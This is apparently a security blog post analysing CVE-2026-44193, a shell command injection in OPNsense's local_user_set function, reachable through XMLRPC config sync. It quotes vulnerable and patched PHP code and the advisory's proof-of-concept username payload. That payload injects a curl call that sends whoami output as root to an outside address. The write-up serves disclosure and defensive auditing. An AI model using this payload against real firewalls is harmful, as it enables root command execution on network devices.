//nefariousplan

CVE-2026-44193: `escapeshellarg` Was the Camouflage

patterns

cve

proof of concept

The patch for CVE-2026-44193 changes one popen() call in OPNsense's src/etc/inc/auth.inc. The pre-patch line already contains an escapeshellarg() invocation. The fix replaces the manual string with a wrapper named exec_safe() that lives in src/etc/inc/util.inc and is used correctly in five other places in the same file. The OPNsense maintainer's commit message names the failure mode in one sentence: "Shell code execution safety has been widely covered in previous releases but two popen() calls have eluded that previous scope." The sweep saw escapeshellarg. The sweep moved on.

The vulnerable line escapes one argument of seven

Here is the function the GHSA names, exactly as it shipped in OPNsense core 26.1.6 and earlier. The file is src/etc/inc/auth.inc, the function is local_user_set, the shell call is the second of two popen() invocations in its body:

if ($user_op != null) {
    $cmd = "/usr/sbin/pw {$user_op} -q -u {$user_uid} -n {$user_name}" .
      " -g {$user_group} -s {$user_shell} -d {$user_home}" .
      " -c " . escapeshellarg($comment) . " -H 0 2>&1";
    $fd = popen($cmd, 'w');
    fwrite($fd, $user_pass);
    pclose($fd);
}

Seven dynamic substitutions land in a single shell command line. $user_op, $user_uid, $user_name, $user_group, $user_shell, $user_home, $comment. Six interpolate raw. The seventh, $comment, is wrapped in escapeshellarg(). The wrapper is the developer's testimony. They understood that user-controlled strings reach /bin/sh -c through PHP's popen(). They reached for the standard PHP escape function and applied it.

They applied it to the field they thought needed it. They applied it to one field of seven.

The function prepares the $comment value with a second layer of mitigation before the escapeshellarg() even runs:

$user_name = $user['name'];
$user_uid = $user['uid'];
$comment = str_replace([':', '!', '@'], ' ', $user['descr']);

The $comment value receives a str_replace for colon, exclamation, and at-sign before it reaches the escape wrap. Two layers on one field, because the field is free-form text and free-form text might contain shell metacharacters. Zero layers on the username. The username is an identifier and identifiers "don't have weird characters." The shell does not care which arguments the developer thinks are structured.

The advisory's payload is a username

Kchigo, credited in GHSA-xxp9-93cr-x54p, submitted this payload as the name field of a synchronised user record:

<name>kch2;curl 192.168.236.1:8000/$(whoami);#</name>

The username goes into the shell line as-is. The full command, with the payload substituted, expands to:

/usr/sbin/pw useradd -m -k /usr/share/skel -o -q -u 2000 -n kch2;curl 192.168.236.1:8000/$(whoami);# -g nobody -s /usr/sbin/nologin -d /home/kch2 -c '' -H 0 2>&1

/bin/sh -c sees two commands separated by ;. The first invokes pw with a truncated argument list. The second invokes curl to a chosen address, with $(whoami) substituting in the output of whoami. The # comments out the rest of the line so the residual -g, -s, -d, -c, -H flags do not produce a parse error. popen($cmd, 'w') shells out by default. The pw process runs as root because local_user_set() is invoked from local_sync_accounts(), which is invoked from system bootstrap and from XMLRPC sync handlers. The curl and the $(whoami) run as root for the same reason.

The path from XMLRPC to local_user_set

The CVE record names the entry method as opnsense.restore_config_section. The handler lives in src/etc/inc/xmlrpc/legacy.inc:

function restore_config_section_xmlrpc($new_config)
{
    global $config;
    OPNsense\Core\Config::getInstance()->lock();
    require_once("interfaces.inc");
    require_once("filter.inc");

    $old_config = $config;
    // ... virtual-ip backup bookkeeping ...
    merge_config_attributes($new_config, $config);
    // ...
    write_config(sprintf('Merged %s config sections from XMLRPC client.', $mergedkeys));

merge_config_attributes writes the caller's XML payload into the live $config array. Whatever the XMLRPC client sent into $new_config['system']['user'] becomes $config['system']['user']. No schema validation. No name regex. No allow-list of metacharacters. The XMLRPC sync path was built to copy a peer's running config into the local one for High Availability replication; the form-layer username validators in the OPNsense web UI never run on this path.

Later, local_sync_accounts() reconciles pw with the new config:

foreach ($config['system']['user'] as $user) {
    $userattrs = !empty($current_data['user'][$user['uid']]) ? $current_data['user'][$user['uid']] : [];
    local_user_set($user, false, $userattrs);
}

Each user record in the freshly-merged config is passed to local_user_set(). The function reads $user['name'] straight into $user_name, which is the bytes the XMLRPC caller chose. The command runs.

The advisory's CVSS vector is AV:N/AC:L/PR:H. The "high privileges" precondition is satisfied by any operator account holding the "XMLRPC Library" privilege. In a normal OPNsense HA deployment that is the synchronisation peer account. In a normal config-import workflow that is the administrator who can upload a config XML. The named victim role is the OPNsense administrator who provisioned an XMLRPC sync account for a second firewall and assumed the destination would treat the synced bytes as configuration rather than as commands.

The safe helper sits in the same file

The OPNsense codebase has a shell-safety abstraction. exec_safe() lives in src/etc/inc/util.inc and delegates to OPNsense\Core\Shell::exec_safe():

public static function exec_safe($format, $args = [])
{
    // ...
    $_command = preg_replace_callback('/%./', function ($matches) use (&$args) {
        if ($matches[0] === '%%') {
            return '%';
        } elseif ($matches[0] !== '%s') {
            throw new \TypeError('exec_safe(): Unsupported formatter');
        }
        if (!count($args)) {
            throw new \TypeError('exec_safe(): Missing arguments');
        }
        return escapeshellarg(array_shift($args) ?? '');
    }, implode(' ', $format));

Every %s is escapeshellarg'd. The helper does not let the caller decide which arguments need escaping. There is one rule for every substitution and the rule is the same rule the manual concat tried to imitate on the comment field.

auth.inc uses exec_safe-family helpers in five places outside the bug. The conformant calls are these:

// auth.inc:244
foreach (shell_safe('/usr/sbin/pw %s -a', $command, true) as $record) { ... }

// auth.inc:283
mwexecf('/usr/sbin/pw userdel -n %s', $object[0]);

// auth.inc:285
mwexecf('/usr/sbin/pw groupdel -g %s', $object[2]);

// auth.inc:472
foreach (shell_safe('/usr/sbin/pw usershow -a', [], true) as $line) { ... }

// auth.inc:534
mwexecf('/usr/sbin/pw group%s %s -g %s -M %s', [ ... ]);

The function sixty-five lines above the bug calls shell_safe('/usr/sbin/pw %s -a', $command, true). The function twenty-five lines above the bug calls mwexecf('/usr/sbin/pw userdel -n %s', $object[0]). The same file. The same /usr/sbin/pw binary. The discipline existed. It was a function call away. local_user_set did not use it.

The post-patch line replaces the manual concat with exec_safe():

$user_frmt[] = '-q -u %s -n %s -g %s -s %s -d %s -c %s -H 0 2>&1';
$fd = popen(exec_safe($user_frmt,
    [$user_op, $user_uid, $user_name, $user_group, $user_shell, $user_home, $comment]
), 'w');

Seven %s. Seven arguments. The helper applies escapeshellarg to all of them. No discretion left to the caller, because discretion was the bug.

The maintainer says the sweep walked past this

The merge commit, by Franco Fichtner on 30 April 2026, is six lines of commit message and fifteen lines of diff. The message reads in full:

Shell code execution safety has been widely covered in previous releases but two popen() calls have eluded that previous scope. The code is a bit overloaded for historic reasons and trusts the config.xml content, but it can be manipulated with admin-level access rights through either config import or XMLRPC sync to contain shell injection which lands on the system unquoted. Fix this by splitting up composite variable $user_op and quoting every dynamic argument to make sure there is no vector left to inject a command.

PR: GHSA-xxp9-93cr-x54p

A previous scope. Two popen() calls eluded it. The sweep was not careless. It was the kind of sweep that greps a codebase for raw popen() invocations against unquoted dollar substitutions, walks each one, asks "does this line have a sanitization call." This line did. The sanitization call was on the wrong argument. The audit did not check which argument.

The second popen() call the commit references is six lines above the first. From the same diff:

-            $fd = popen("/usr/sbin/pw usershow -n {$user_name}", 'r');
+            $fd = popen(exec_safe('/usr/sbin/pw usershow -n %s', $user_name), 'r');

That usershow call had no escapeshellarg at all. The same $user_name, raw, into the same shell. It is in the same function as the advertised bug, fixed in the same commit, and the advisory does not mention it. The maintainer's "two popen() calls" phrasing is the only place the second one is acknowledged on the public record.

Sanitized the secrets, not the sink

This is the sanitized-the-secrets-not-the-sink shape. The developer applied mitigation logic to the field they perceived as security-sensitive, the free-form GECOS comment, and omitted it on fields that flow into the same dangerous interpreter. The presence of escapeshellarg($comment) in the same expression as the unsanitized $user_name is the proof. The author understood shell injection as a category, named the helper, called the helper, applied it to the argument they thought needed it. The discrimination was made by what the field contains, not by where the field goes.

The pattern has been exhibited before in ASUSTOR's vpn.cgi, where the developer escaped the username and password they perceived as credentials and left the server-address field raw on the same line into pppd's pty handler. All three flowed into /bin/sh -c. The OPNsense exhibit completes the picture from the opposite side of the sensitivity axis: the field they escaped was the unstructured comment, and the fields they left raw were the "structured" identifiers, the uid, the username, the group, the shell path, the home path. The destination did not care which axis the author used.

A design-debt driver in two functions

The merge commit is also the design-debt driver naming itself. Two popen() calls in one function survived multiple prior shell-safety sweeps because the line that contained the worst of them already contained an escapeshellarg call. The audit's signal that a line was sanitised was the presence of the function; the audit did not parse the argument list to check which substitution it was wrapping. The composite shape, manual popen() plus partial escapeshellarg, is grep-indistinguishable from a fully-sanitised line. The driver is the asymmetry: a codebase that ships a safe helper (exec_safe, shell_safe, mwexecf) and uses it correctly in some functions while letting other functions compose shell commands by hand. As long as both shapes coexist in the same file under the same eye, the next sweep will pass over the next function whose manual concat happens to include a sanitization call on the wrong argument. The sweep saw escapeshellarg. The sweep moved on.

Where it goes from here

CVE-2026-44193 is one fix in one function. Two popen() calls. Five %s substitutions newly wrapped. The merge landed on 30 April 2026 in 26.1.7. Operators running 26.1.6 with HA replication peers or with config-import privileges granted beyond root should treat the XMLRPC sync peer credential and the config-import role as root-equivalent until they have upgraded.

The longer-running consequence is the audit method. A codebase that mixes manual popen() plus escapeshellarg lines with helper-wrapped calls produces lines that are indistinguishable from each other at grep time. Any sweep that whitelists "has escapeshellarg somewhere on the line" will keep missing this shape. The OPNsense maintainer team has the helper. The fix shows they know which way to migrate. The bug is what remains in any function still composing shell commands by hand under the same eye that wrote the safe wrapper.

PoC: the advisory at opnsense/core GHSA-xxp9-93cr-x54p ships the username payload above. The merge commit is 3b6f357.

The patch quotes seven arguments. The next sweep will pass over any line that still quotes one.